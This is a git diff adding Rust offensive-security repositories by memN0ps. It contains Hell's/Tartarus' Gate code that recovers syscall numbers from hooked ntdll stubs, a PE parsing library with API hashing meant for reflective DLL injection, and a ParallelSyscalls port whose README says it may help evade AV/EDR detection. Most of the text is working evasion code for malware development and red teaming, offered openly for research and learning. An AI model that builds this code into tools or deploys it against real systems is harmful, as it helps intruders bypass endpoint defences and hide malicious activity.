DOWN).read() == 0x4c + && vx_table_entry.p_address.add(1 + idx * DOWN).read() == 0x8b + && vx_table_entry.p_address.add(2 + idx * DOWN).read() == 0xd1 + && vx_table_entry.p_address.add(3 + idx * DOWN).read() == 0xb8 + && vx_table_entry.p_address.add(6 + idx * DOWN).read() == 0x00 + && vx_table_entry.p_address.add(7 + idx * DOWN).read() == 0x00 + { + let high: u8 = vx_table_entry.p_address.add(5 + idx * DOWN).read(); + let low: u8 = vx_table_entry.p_address.add(4 + idx * DOWN).read(); + vx_table_entry.w_system_call = + ((high.overflowing_shl(8).0) | low - idx as u8) as u16; + return Some(vx_table_entry); + } + + // + // if hooked check the neighborhood to find clean syscall (upwards) + // + + if vx_table_entry.p_address.offset(idx as isize * UP).read() == 0x4c + && vx_table_entry + .p_address + .offset(1 + idx as isize * UP) + .read() + == 0x8b + && vx_table_entry + .p_address + .offset(2 + idx as isize * UP) + .read() + == 0xd1 + && vx_table_entry + .p_address + .offset(3 + idx as isize * UP) + .read() + == 0xb8 + && vx_table_entry + .p_address + .offset(6 + idx as isize * UP) + .read() + == 0x00 + && vx_table_entry + .p_address + .offset(7 + idx as isize * UP) + .read() + == 0x00 + { + let high: u8 = vx_table_entry + .p_address + .offset(5 + idx as isize * UP) + .read(); + let low: u8 = vx_table_entry + .p_address + .offset(4 + idx as isize * UP) + .read(); + vx_table_entry.w_system_call = + ((high.overflowing_shl(8).0) | low + idx as u8) as u16; + return Some(vx_table_entry); + } + } + } + + // + // Tartarus' Gate Patch + // + + if vx_table_entry.p_address.add(3).read() == 0xe9 { + // + // if hooked check the neighborhood to find clean syscall (downwards) + // + + for idx in 1..500 { + if vx_table_entry.p_address.add(idx * DOWN).read() == 0x4c + && vx_table_entry.p_address.add(1 + idx * DOWN).read() == 0x8b + && vx_table_entry.p_address.add(2 + idx * DOWN).read() == 0xd1 + && vx_table_entry.p_address.add(3 + idx * DOWN).read() == 0xb8 + && vx_table_entry.p_address.add(6 + idx * DOWN).read() == 0x00 + && vx_table_entry.p_address.add(7 + idx * DOWN).read() == 0x00 + { + let high: u8 = vx_table_entry.p_address.add(5 + idx * DOWN).read(); + let low: u8 = vx_table_entry.p_address.add(4 + idx * DOWN).read(); + vx_table_entry.w_system_call = + ((high.overflowing_shl(8).0) | low - idx as u8) as u16; + return Some(vx_table_entry); + } + + // + // if hooked check the neighborhood to find clean syscall (upwards) + // + + if vx_table_entry.p_address.offset(idx as isize * UP).read() == 0x4c + && vx_table_entry + .p_address + .offset(1 + idx as isize * UP) + .read() + == 0x8b + && vx_table_entry + .p_address + .offset(2 + idx as isize * UP) + .read() + == 0xd1 + && vx_table_entry + .p_address + .offset(3 + idx as isize * UP) + .read() + == 0xb8 + && vx_table_entry + .p_address + .offset(6 + idx as isize * UP) + .read() + == 0x00 + && vx_table_entry + .p_address + .offset(7 + idx as isize * UP) + .read() + == 0x00 + { + let high: u8 = vx_table_entry + .p_address + .offset(5 + idx as isize * UP) + .read(); + let low: u8 = vx_table_entry + .p_address + .offset(4 + idx as isize * UP) + .read(); + vx_table_entry.w_system_call = + ((high.overflowing_shl(8).0) | low + idx as u8) as u16; + return Some(vx_table_entry); + } + } + } + + return None; +} + +/// Get process ID by name +pub fn get_process_id_by_name(target_process: &str) -> usize { + let mut system = sysinfo::System::new(); + system.refresh_all(); + + let mut process_id: usize = 0; + + for process in system.process_by_name(target_process) { + process_id = process.pid(); + } + return process_id; +} + +/// Gets a pointer to IMAGE_NT_HEADERS32 x86_64 +#[cfg(target_arch = "x86_64")] +pub unsafe fn get_nt_headers(module_base: *mut u8) -> Option<*mut IMAGE_NT_HEADERS64> { + let dos_header = module_base as *mut IMAGE_DOS_HEADER; + + if (*dos_header).e_magic != IMAGE_DOS_SIGNATURE { + return None; + } + + let nt_headers = + (module_base as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64; + + if (*nt_headers).Signature != IMAGE_NT_SIGNATURE as _ { + return None; + } + + return Some(nt_headers); +} + +/// Gets a pointer to the Thread Environment Block (TEB) +#[cfg(target_arch = "x86")] +pub unsafe fn get_teb() -> *mut ntapi::ntpebteb::TEB { + let teb: *mut ntapi::ntpebteb::TEB; + asm!("mov {teb}, fs:[0x18]", teb = out(reg) teb); + teb +} + +/// Get a pointer to the Thread Environment Block (TEB) +#[cfg(target_arch = "x86_64")] +pub unsafe fn get_teb() -> *mut ntapi::ntpebteb::TEB { + let teb: *mut ntapi::ntpebteb::TEB; + asm!("mov {teb}, gs:[0x30]", teb = out(reg) teb); + teb +} + +/// Get a pointer to the Process Environment Block (PEB) +pub unsafe fn get_peb() -> *mut PEB { + let teb = get_teb(); + let peb = (*teb).ProcessEnvironmentBlock; + peb +} + +/// Get loaded module by hash +pub unsafe fn get_loaded_module_by_hash(module_hash: u32) -> Option<*mut u8> { + let peb = get_peb(); + let peb_ldr_data_ptr = (*peb).Ldr as *mut PEB_LDR_DATA; + + let mut module_list = + (*peb_ldr_data_ptr).InLoadOrderModuleList.Flink as *mut LDR_DATA_TABLE_ENTRY; + + while !(*module_list).DllBase.is_null() { + let dll_buffer_ptr = (*module_list).BaseDllName.Buffer; + let dll_length = (*module_list).BaseDllName.Length as usize; + let dll_name_slice = core::slice::from_raw_parts(dll_buffer_ptr as *const u8, dll_length); + + if module_hash == dbj2_hash(dll_name_slice) { + return Some((*module_list).DllBase as _); + } + + module_list = (*module_list).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY; + } + + return None; +} + +/// Get the address of an export by hash +pub unsafe fn get_export_by_hash(module_base: *mut u8, export_name_hash: u32) -> Option<*mut u8> { + let nt_headers = get_nt_headers(module_base)?; + + let export_directory = (module_base as usize + + (*nt_headers).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT as usize] + .VirtualAddress as usize) as *mut IMAGE_EXPORT_DIRECTORY; + + let names = core::slice::from_raw_parts( + (module_base as usize + (*export_directory).AddressOfNames as usize) as *const u32, + (*export_directory).NumberOfNames as _, + ); + + let functions = core::slice::from_raw_parts( + (module_base as usize + (*export_directory).AddressOfFunctions as usize) as *const u32, + (*export_directory).NumberOfFunctions as _, + ); + + let ordinals = core::slice::from_raw_parts( + (module_base as usize + (*export_directory).AddressOfNameOrdinals as usize) as *const u16, + (*export_directory).NumberOfNames as _, + ); + + for i in 0..(*export_directory).NumberOfNames { + let name_addr = (module_base as usize + names[i as usize] as usize) as *const i8; + let name_len = get_cstr_len(name_addr as _); + let name_slice: &[u8] = core::slice::from_raw_parts(name_addr as _, name_len); + + if export_name_hash == dbj2_hash(name_slice) { + let ordinal = ordinals[i as usize] as usize; + return Some((module_base as usize + functions[ordinal] as usize) as *mut u8); + } + } + + return None; +} + +/// Generate a unique hash +pub fn dbj2_hash(buffer: &[u8]) -> u32 { + let mut hsh: u32 = 5381; + let mut iter: usize = 0; + let mut cur: u8; + + while iter < buffer.len() { + cur = buffer[iter]; + if cur == 0 { + iter += 1; + continue; + } + if cur >= ('a' as u8) { + cur -= 0x20; + } + hsh = ((hsh << 5).wrapping_add(hsh)) + cur as u32; + iter += 1; + } + return hsh; +} + +/// Get the length of a C String +pub fn get_cstr_len(pointer: *const char) -> usize { + let mut tmp: u64 = pointer as u64; + + unsafe { + while *(tmp as *const u8) != 0 { + tmp += 1; + } + } + (tmp - pointer as u64) as _ +} + +/// Checks to see if the architecture x86 or x86_64 +pub fn is_wow64() -> bool { + // A usize is 4 bytes on 32 bit and 8 bytes on 64 bit + if std::mem::size_of::() == 4 { + return false; + } + + return true; +} + +#[allow(dead_code)] +/// Extracts the system call number from the specfied function pointer (not required in this program) +fn find_syscall_number(function_ptr: *mut u8) -> u16 { + let needle: [u8; 4] = [0x4c, 0x8b, 0xd1, 0xb8]; + + let func_slice: &[u8] = unsafe { core::slice::from_raw_parts(function_ptr as *const u8, 6) }; + + if let Some(index) = func_slice.windows(needle.len()).position(|x| *x == needle) { + let offset = index + needle.len(); + let offset_slice = &func_slice[offset..offset + 2]; + + let syscall_number = u16::from_le_bytes(offset_slice.try_into().unwrap()); + + log::debug!("{:#x}", syscall_number); + return syscall_number; + } + + return 0; +} diff --git a/memN0ps/mordor-rs/hooking.png b/memN0ps/mordor-rs/hooking.png new file mode 100644 index 0000000..7797dbd Binary files /dev/null and b/memN0ps/mordor-rs/hooking.png differ diff --git a/memN0ps/mordor-rs/syswhisper2_example1.PNG b/memN0ps/mordor-rs/syswhisper2_example1.PNG new file mode 100644 index 0000000..a7bdc14 Binary files /dev/null and b/memN0ps/mordor-rs/syswhisper2_example1.PNG differ diff --git a/memN0ps/mordor-rs/syswhisper2_example2.PNG b/memN0ps/mordor-rs/syswhisper2_example2.PNG new file mode 100644 index 0000000..514d301 Binary files /dev/null and b/memN0ps/mordor-rs/syswhisper2_example2.PNG differ diff --git a/memN0ps/pemadness-rs/.gitattributes b/memN0ps/pemadness-rs/.gitattributes new file mode 100644 index 0000000..dfe0770 --- /dev/null +++ b/memN0ps/pemadness-rs/.gitattributes @@ -0,0 +1,2 @@ +# Auto detect text files and perform LF normalization +* text=auto diff --git a/memN0ps/pemadness-rs/.gitignore b/memN0ps/pemadness-rs/.gitignore new file mode 100644 index 0000000..6985cf1 --- /dev/null +++ b/memN0ps/pemadness-rs/.gitignore @@ -0,0 +1,14 @@ +# Generated by Cargo +# will have compiled files and executables +debug/ +target/ + +# Remove Cargo.lock from gitignore if creating an executable, leave it for libraries +# More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html +Cargo.lock + +# These are backup files generated by rustfmt +**/*.rs.bk + +# MSVC Windows builds of rustc generate these, which store debugging information +*.pdb diff --git a/memN0ps/pemadness-rs/.vscode/launch.json b/memN0ps/pemadness-rs/.vscode/launch.json new file mode 100644 index 0000000..62e2474 --- /dev/null +++ b/memN0ps/pemadness-rs/.vscode/launch.json @@ -0,0 +1,16 @@ +{ + // Use IntelliSense to learn about possible attributes. + // Hover to view descriptions of existing attributes. + // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387 + "version": "0.2.0", + "configurations": [ + { + "type": "lldb", + "request": "launch", + "name": "Debug", + "program": "${workspaceFolder}/pemadness/target/debug/pemadness.exe", + "args": [], + "cwd": "${workspaceFolder}" + } + ] +} \ No newline at end of file diff --git a/memN0ps/pemadness-rs/LICENSE b/memN0ps/pemadness-rs/LICENSE new file mode 100644 index 0000000..43a19c8 --- /dev/null +++ b/memN0ps/pemadness-rs/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2022 memN0ps + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/memN0ps/pemadness-rs/README.md b/memN0ps/pemadness-rs/README.md new file mode 100644 index 0000000..242c133 --- /dev/null +++ b/memN0ps/pemadness-rs/README.md @@ -0,0 +1,29 @@ +# PE Madness + +Portable Executable Parsing Library (PE Parsing Library) + +## Description + +Why?...Why not? :P + +I made this library because I wanted to learn about parsing portable executable (PE) files in Rust even though there is a much better crate [pelite](https://docs.rs/pelite/latest/pelite/). + +This library intentionally uses `windows-sys` crate and `unsafe` code and it's coded the way it is because when making [Reflective DLL Injection / Shellcode Reflective DLL Injection](https://github.com/memN0ps/srdi-rs) it is not possible to use heap allocated memory and anything dynamically sized must be put on a stack and all external functions can't be used until you resolve imports. + +When self-loading or emulating `LoadLibraryA`, your code needs to be entirely self-contained and not rely on `libc` or any other (implicit) external API otherwise it becomes dependent on the loader. Also, instead of using the [obfstr](https://crates.io/crates/obfstr) crate to obfuscate strings, hashes are used instead to make dynamic analysis more difficult. + + +## References and Credits + +* https://discord.com/invite/rust-lang-community (Rust Community #windows-dev channel) +* https://github.com/janoglezcampos/rust_syscalls/ +* https://github.com/not-matthias/mmap/ +* https://github.com/Ben-Lichtman/reloader/ +* https://github.com/2vg/blackcat-rs/ +* https://github.com/Kudaes/DInvoke_rs/ +* https://github.com/zorftw/kdmapper-rs/ +* https://github.com/MrElectrify/mmap-loader-rs/ +* https://github.com/kmanc/remote_code_oxidation +* https://github.com/trickster0/OffensiveRust +* https://docs.microsoft.com/en-us/windows/win32/debug/pe-format +* https://crates.io/crates/pelite \ No newline at end of file diff --git a/memN0ps/pemadness-rs/pemadness/Cargo.toml b/memN0ps/pemadness-rs/pemadness/Cargo.toml new file mode 100644 index 0000000..15a7e78 --- /dev/null +++ b/memN0ps/pemadness-rs/pemadness/Cargo.toml @@ -0,0 +1,33 @@ +[package] +name = "pemadness" +version = "0.1.0" +edition = "2021" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html +[profile.release] +opt-level = "z" # Optimize for size. +lto = true # Enable Link Time Optimization +codegen-units = 1 # Reduce number of codegen units to increase optimizations. +panic = "abort" # Abort on panic +strip = true # Automatically strip symbols from the binary. + +[dependencies] +env_logger = "0.9.0" +log = "0.4.17" +sysinfo = "0.20.4" +obfstr = "0.3.0" +ntapi = "0.3.7" + +[dependencies.windows-sys] +version = "0.36.1" +features = [ + "Win32_Foundation", + "Win32_Security", + "Win32_System_Threading", + "Win32_UI_WindowsAndMessaging", + "Win32_System_Memory", + "Win32_System_Diagnostics_Debug", + "Win32_System_SystemServices", + "Win32_System_WindowsProgramming", + "Win32_System_LibraryLoader", +] \ No newline at end of file diff --git a/memN0ps/pemadness-rs/pemadness/src/lib.rs b/memN0ps/pemadness-rs/pemadness/src/lib.rs new file mode 100644 index 0000000..a635073 --- /dev/null +++ b/memN0ps/pemadness-rs/pemadness/src/lib.rs @@ -0,0 +1,381 @@ +#![allow(dead_code)] + +use ntapi::{ntldr::LDR_DATA_TABLE_ENTRY, ntpebteb::PEB, ntpsapi::PEB_LDR_DATA}; +use std::{arch::asm, mem::size_of}; +use sysinfo::{ProcessExt, SystemExt}; +use windows_sys::Win32::System::{ + Diagnostics::Debug::{ + IMAGE_DIRECTORY_ENTRY_BASERELOC, IMAGE_DIRECTORY_ENTRY_EXPORT, + IMAGE_DIRECTORY_ENTRY_IMPORT, IMAGE_NT_HEADERS64, + }, + LibraryLoader::{GetProcAddress, LoadLibraryA}, + SystemServices::{ + IMAGE_BASE_RELOCATION, IMAGE_DOS_HEADER, IMAGE_DOS_SIGNATURE, IMAGE_EXPORT_DIRECTORY, + IMAGE_IMPORT_BY_NAME, IMAGE_IMPORT_DESCRIPTOR, IMAGE_NT_SIGNATURE, IMAGE_ORDINAL_FLAG64, + IMAGE_REL_BASED_DIR64, IMAGE_REL_BASED_HIGHLOW, + }, + WindowsProgramming::IMAGE_THUNK_DATA64, +}; + +/// Get process ID by name +pub fn get_process_id_by_name(target_process: &str) -> usize { + let mut system = sysinfo::System::new(); + system.refresh_all(); + + let mut process_id: usize = 0; + + for process in system.process_by_name(target_process) { + process_id = process.pid(); + } + return process_id; +} + +/// Gets a pointer to IMAGE_NT_HEADERS32 x86 +#[cfg(target_arch = "x86")] +pub unsafe fn get_nt_headers(module_base: *mut u8) -> Option<*mut IMAGE_NT_HEADERS32> { + let dos_header = module_base as *mut IMAGE_DOS_HEADER; + + if (*dos_header).e_magic != IMAGE_DOS_SIGNATURE { + return None; + } + + let nt_headers = + (module_base as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS32; + + if (*nt_headers).Signature != IMAGE_NT_SIGNATURE as _ { + return None; + } + + return Some(nt_headers); +} + +/// Gets a pointer to IMAGE_NT_HEADERS32 x86_64 +#[cfg(target_arch = "x86_64")] +pub unsafe fn get_nt_headers(module_base: *mut u8) -> Option<*mut IMAGE_NT_HEADERS64> { + let dos_header = module_base as *mut IMAGE_DOS_HEADER; + + if (*dos_header).e_magic != IMAGE_DOS_SIGNATURE { + return None; + } + + let nt_headers = + (module_base as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64; + + if (*nt_headers).Signature != IMAGE_NT_SIGNATURE as _ { + return None; + } + + return Some(nt_headers); +} + +/// Gets a pointer to the Thread Environment Block (TEB) +#[cfg(target_arch = "x86")] +pub unsafe fn get_teb() -> *mut ntapi::ntpebteb::TEB { + let teb: *mut ntapi::ntpebteb::TEB; + asm!("mov {teb}, fs:[0x18]", teb = out(reg) teb); + teb +} + +/// Get a pointer to the Thread Environment Block (TEB) +#[cfg(target_arch = "x86_64")] +pub unsafe fn get_teb() -> *mut ntapi::ntpebteb::TEB { + let teb: *mut ntapi::ntpebteb::TEB; + asm!("mov {teb}, gs:[0x30]", teb = out(reg) teb); + teb +} + +/// Get a pointer to the Process Environment Block (PEB) +pub unsafe fn get_peb() -> *mut PEB { + let teb = get_teb(); + let peb = (*teb).ProcessEnvironmentBlock; + peb +} + +/// Get loaded module by hash +pub unsafe fn get_loaded_module_by_hash(module_hash: u32) -> Option<*mut u8> { + let peb = get_peb(); + let peb_ldr_data_ptr = (*peb).Ldr as *mut PEB_LDR_DATA; + + let mut module_list = + (*peb_ldr_data_ptr).InLoadOrderModuleList.Flink as *mut LDR_DATA_TABLE_ENTRY; + + while !(*module_list).DllBase.is_null() { + let dll_buffer_ptr = (*module_list).BaseDllName.Buffer; + let dll_length = (*module_list).BaseDllName.Length as usize; + let dll_name_slice = core::slice::from_raw_parts(dll_buffer_ptr as *const u8, dll_length); + + if module_hash == dbj2_hash(dll_name_slice) { + return Some((*module_list).DllBase as _); + } + + module_list = (*module_list).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY; + } + + return None; +} + +/// Get the address of an export by hash +pub unsafe fn get_export_by_hash(module_base: *mut u8, export_name_hash: u32) -> Option<*mut u8> { + let nt_headers = get_nt_headers(module_base)?; + + let export_directory = (module_base as usize + + (*nt_headers).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT as usize] + .VirtualAddress as usize) as *mut IMAGE_EXPORT_DIRECTORY; + + let names = core::slice::from_raw_parts( + (module_base as usize + (*export_directory).AddressOfNames as usize) as *const u32, + (*export_directory).NumberOfNames as _, + ); + + let functions = core::slice::from_raw_parts( + (module_base as usize + (*export_directory).AddressOfFunctions as usize) as *const u32, + (*export_directory).NumberOfFunctions as _, + ); + + let ordinals = core::slice::from_raw_parts( + (module_base as usize + (*export_directory).AddressOfNameOrdinals as usize) as *const u16, + (*export_directory).NumberOfNames as _, + ); + + for i in 0..(*export_directory).NumberOfNames { + let name_addr = (module_base as usize + names[i as usize] as usize) as *const i8; + let name_len = get_cstr_len(name_addr as _); + let name_slice: &[u8] = core::slice::from_raw_parts(name_addr as _, name_len); + + if export_name_hash == dbj2_hash(name_slice) { + let ordinal = ordinals[i as usize] as usize; + return Some((module_base as usize + functions[ordinal] as usize) as *mut u8); + } + } + + return None; +} + +/// Process image relocations (rebase image) +pub unsafe fn rebase_image(module_base: *mut u8) -> Option { + let nt_headers = get_nt_headers(module_base)?; + + // Calculate the difference between remote allocated memory region where the image will be loaded and preferred ImageBase (delta) + let delta = module_base as isize - (*nt_headers).OptionalHeader.ImageBase as isize; + + // Return early if delta is 0 + if delta == 0 { + return Some(true); + } + + // Resolve the imports of the newly allocated memory region + + // Get a pointer to the first _IMAGE_BASE_RELOCATION + let mut base_relocation = (module_base as usize + + (*nt_headers).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC as usize] + .VirtualAddress as usize) as *mut IMAGE_BASE_RELOCATION; + + if base_relocation.is_null() { + return Some(false); + } + + // Get the end of _IMAGE_BASE_RELOCATION + let base_relocation_end = base_relocation as usize + + (*nt_headers).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC as usize].Size + as usize; + + while (*base_relocation).VirtualAddress != 0u32 + && (*base_relocation).VirtualAddress as usize <= base_relocation_end + && (*base_relocation).SizeOfBlock != 0u32 + { + // Get the VirtualAddress, SizeOfBlock and entries count of the current _IMAGE_BASE_RELOCATION block + let address = (module_base as usize + (*base_relocation).VirtualAddress as usize) as isize; + let item = + (base_relocation as usize + std::mem::size_of::()) as *const u16; + let count = ((*base_relocation).SizeOfBlock as usize + - std::mem::size_of::()) + / std::mem::size_of::() as usize; + + for i in 0..count { + // Get the Type and Offset from the Block Size field of the _IMAGE_BASE_RELOCATION block + let type_field = (item.offset(i as isize).read() >> 12) as u32; + let offset = item.offset(i as isize).read() & 0xFFF; + + //IMAGE_REL_BASED_DIR32 does not exist + //#define IMAGE_REL_BASED_DIR64 10 + if type_field == IMAGE_REL_BASED_DIR64 || type_field == IMAGE_REL_BASED_HIGHLOW { + // Add the delta to the value of each address where the relocation needs to be performed + *((address + offset as isize) as *mut isize) += delta; + } + } + + // Get a pointer to the next _IMAGE_BASE_RELOCATION + base_relocation = (base_relocation as usize + (*base_relocation).SizeOfBlock as usize) + as *mut IMAGE_BASE_RELOCATION; + } + + return Some(true); +} + +/// Process image import table (resolve imports) +pub unsafe fn resolve_imports(module_base: *mut u8) -> Option { + let nt_headers = get_nt_headers(module_base)?; + + // Get a pointer to the first _IMAGE_IMPORT_DESCRIPTOR + let mut import_directory = (module_base as usize + + (*nt_headers).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT as usize] + .VirtualAddress as usize) + as *mut IMAGE_IMPORT_DESCRIPTOR; + + if import_directory.is_null() { + return Some(false); + } + + while (*import_directory).Name != 0x0 { + // Get the name of the dll in the current _IMAGE_IMPORT_DESCRIPTOR + let dll_name = (module_base as usize + (*import_directory).Name as usize) as *const i8; + + if dll_name.is_null() { + return Some(false); + } + + // Load the DLL in the in the address space of the process by calling the function pointer LoadLibraryA + let dll_handle = LoadLibraryA(dll_name as _); + + if dll_handle == 0 { + return Some(false); + } + + // Get a pointer to the Original Thunk or First Thunk via OriginalFirstThunk or FirstThunk + let mut original_thunk = if (module_base as usize + + (*import_directory).Anonymous.OriginalFirstThunk as usize) + != 0 + { + #[cfg(target_arch = "x86")] + let orig_thunk = (module_base as usize + + (*import_directory).Anonymous.OriginalFirstThunk as usize) + as *mut IMAGE_THUNK_DATA32; + #[cfg(target_arch = "x86_64")] + let orig_thunk = (module_base as usize + + (*import_directory).Anonymous.OriginalFirstThunk as usize) + as *mut IMAGE_THUNK_DATA64; + + orig_thunk + } else { + #[cfg(target_arch = "x86")] + let thunk = (module_base as usize + (*import_directory).FirstThunk as usize) + as *mut IMAGE_THUNK_DATA32; + #[cfg(target_arch = "x86_64")] + let thunk = (module_base as usize + (*import_directory).FirstThunk as usize) + as *mut IMAGE_THUNK_DATA64; + + thunk + }; + + if original_thunk.is_null() { + return Some(false); + } + + #[cfg(target_arch = "x86")] + let mut thunk = (module_base as usize + (*import_directory).FirstThunk as usize) + as *mut IMAGE_THUNK_DATA32; + #[cfg(target_arch = "x86_64")] + let mut thunk = (module_base as usize + (*import_directory).FirstThunk as usize) + as *mut IMAGE_THUNK_DATA64; + + if thunk.is_null() { + return Some(false); + } + + while (*original_thunk).u1.Function != 0 { + // #define IMAGE_SNAP_BY_ORDINAL64(Ordinal) ((Ordinal & IMAGE_ORDINAL_FLAG64) != 0) or #define IMAGE_SNAP_BY_ORDINAL32(Ordinal) ((Ordinal & IMAGE_ORDINAL_FLAG32) != 0) + #[cfg(target_arch = "x86")] + let snap_result = ((*original_thunk).u1.Ordinal) & IMAGE_ORDINAL_FLAG32 != 0; + #[cfg(target_arch = "x86_64")] + let snap_result = ((*original_thunk).u1.Ordinal) & IMAGE_ORDINAL_FLAG64 != 0; + + if snap_result { + //#define IMAGE_ORDINAL32(Ordinal) (Ordinal & 0xffff) or #define IMAGE_ORDINAL64(Ordinal) (Ordinal & 0xffff) + let fn_ordinal = ((*original_thunk).u1.Ordinal & 0xffff) as *const u8; + + // Retrieve the address of the exported function from the DLL and ovewrite the value of "Function" in IMAGE_THUNK_DATA by calling function pointer GetProcAddress by ordinal + (*thunk).u1.Function = GetProcAddress(dll_handle, fn_ordinal).unwrap() as _; + } else { + // Get a pointer to _IMAGE_IMPORT_BY_NAME + let thunk_data = (module_base as usize + + (*original_thunk).u1.AddressOfData as usize) + as *mut IMAGE_IMPORT_BY_NAME; + + // Get a pointer to the function name in the IMAGE_IMPORT_BY_NAME + let fn_name = (*thunk_data).Name.as_ptr(); + // Retrieve the address of the exported function from the DLL and ovewrite the value of "Function" in IMAGE_THUNK_DATA by calling function pointer GetProcAddress by name + (*thunk).u1.Function = GetProcAddress(dll_handle, fn_name).unwrap() as _; + // + } + + // Increment and get a pointer to the next Thunk and Original Thunk + thunk = thunk.add(1); + original_thunk = original_thunk.add(1); + } + + // Increment and get a pointer to the next _IMAGE_IMPORT_DESCRIPTOR + import_directory = + (import_directory as usize + size_of::() as usize) as _; + } + + return Some(true); +} + +/// Generate a unique hash +pub fn dbj2_hash(buffer: &[u8]) -> u32 { + let mut hsh: u32 = 5381; + let mut iter: usize = 0; + let mut cur: u8; + + while iter < buffer.len() { + cur = buffer[iter]; + if cur == 0 { + iter += 1; + continue; + } + if cur >= ('a' as u8) { + cur -= 0x20; + } + hsh = ((hsh << 5).wrapping_add(hsh)) + cur as u32; + iter += 1; + } + return hsh; +} + +/// Get the length of a C String +pub fn get_cstr_len(pointer: *const char) -> usize { + let mut tmp: u64 = pointer as u64; + + unsafe { + while *(tmp as *const u8) != 0 { + tmp += 1; + } + } + (tmp - pointer as u64) as _ +} + +/// Checks to see if the architecture x86 or x86_64 +pub fn is_wow64() -> bool { + // A usize is 4 bytes on 32 bit and 8 bytes on 64 bit + if std::mem::size_of::() == 4 { + return false; + } + + return true; +} + +/// Read memory from a location specified by an offset relative to the beginning of the GS segment. +#[cfg(target_arch = "x86_64")] +pub unsafe fn __readgsqword(offset: u64) -> u64 { + let output: u64; + std::arch::asm!("mov {}, gs:[{}]", out(reg) output, in(reg) offset); + output +} + +/// Read memory from a location specified by an offset relative to the beginning of the FS segment. +#[cfg(target_arch = "x86")] +pub unsafe fn __readfsdword(offset: u32) -> u32 { + let output: u64; + std::arch::asm!("mov {}, fs:[{}]", out(reg) output, in(reg) offset); + output +} diff --git a/memN0ps/psyscalls-rs/LICENSE b/memN0ps/psyscalls-rs/LICENSE new file mode 100644 index 0000000..43a19c8 --- /dev/null +++ b/memN0ps/psyscalls-rs/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2022 memN0ps + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/memN0ps/psyscalls-rs/README.md b/memN0ps/psyscalls-rs/README.md new file mode 100644 index 0000000..7351cb7 --- /dev/null +++ b/memN0ps/psyscalls-rs/README.md @@ -0,0 +1,53 @@ +# ParallelSyscalls + +Rust version of MDSec's ParallelSyscalls research: https://github.com/mdsecactivebreach/ParallelSyscalls/ and https://www.mdsec.co.uk/2022/01/edr-parallel-asis-through-analysis/ + +This code can be used to load a fresh copy of `NTDLL.dll` using system calls and extract system calls from the fresh copy of `NTDLL.dll` to call any Win32 API function of your choice. This may allow you to evade AV/EDR detections. Please note that the syscall stubs are allocated using `RWX` memory created using `VirtualAlloc()`, which is not optimal from an OPSEC perspective. + + +Writing a tool and a blog post by doing self-research has helped me learn a lot more than anything I've ever done: https://memn0ps.github.io/parallel-syscalls/ + + +## Why Rust? + +Why not? Rust is awesome! A low-level statically (compiled) and strongly typed systems programming language that is faster than C/C++, allowing you to achieve memory safety, concurrency and perform low-level tasks writing high-level code with an excellent compiler, community and documentation. I have moved away from my old favourite languages C/C++/C#, and started my new Rusty adventure. + +This project has allowed me to learn about Rust Windows Internals and enhance my red teaming skills. I'm relatively new to Rust, but I firmly believe Rust is the future for robust programs, red teaming and malware development. + +![ntdlll](./ntdll.png) + +## Example + +1. Import the "parallel_syscalls" library using `mod parallel_syscalls;` + +2. Create a function pointer type such as `NtCreateThreadEx` https://docs.rs/ntapi/0.3.6/ntapi/ntpsapi/fn.NtCreateThreadEx.html + +3. Call the function `get_module_base_address("ntdll")` to load a fresh copy of NTDLL using MDSec's Parallel Syscalls technique. + +4. Call the function `get_function_address(ptr_ntdll, "NtCreateThreadEx")` and pass in NTDLL's base address + +5. Call the function as you would normally 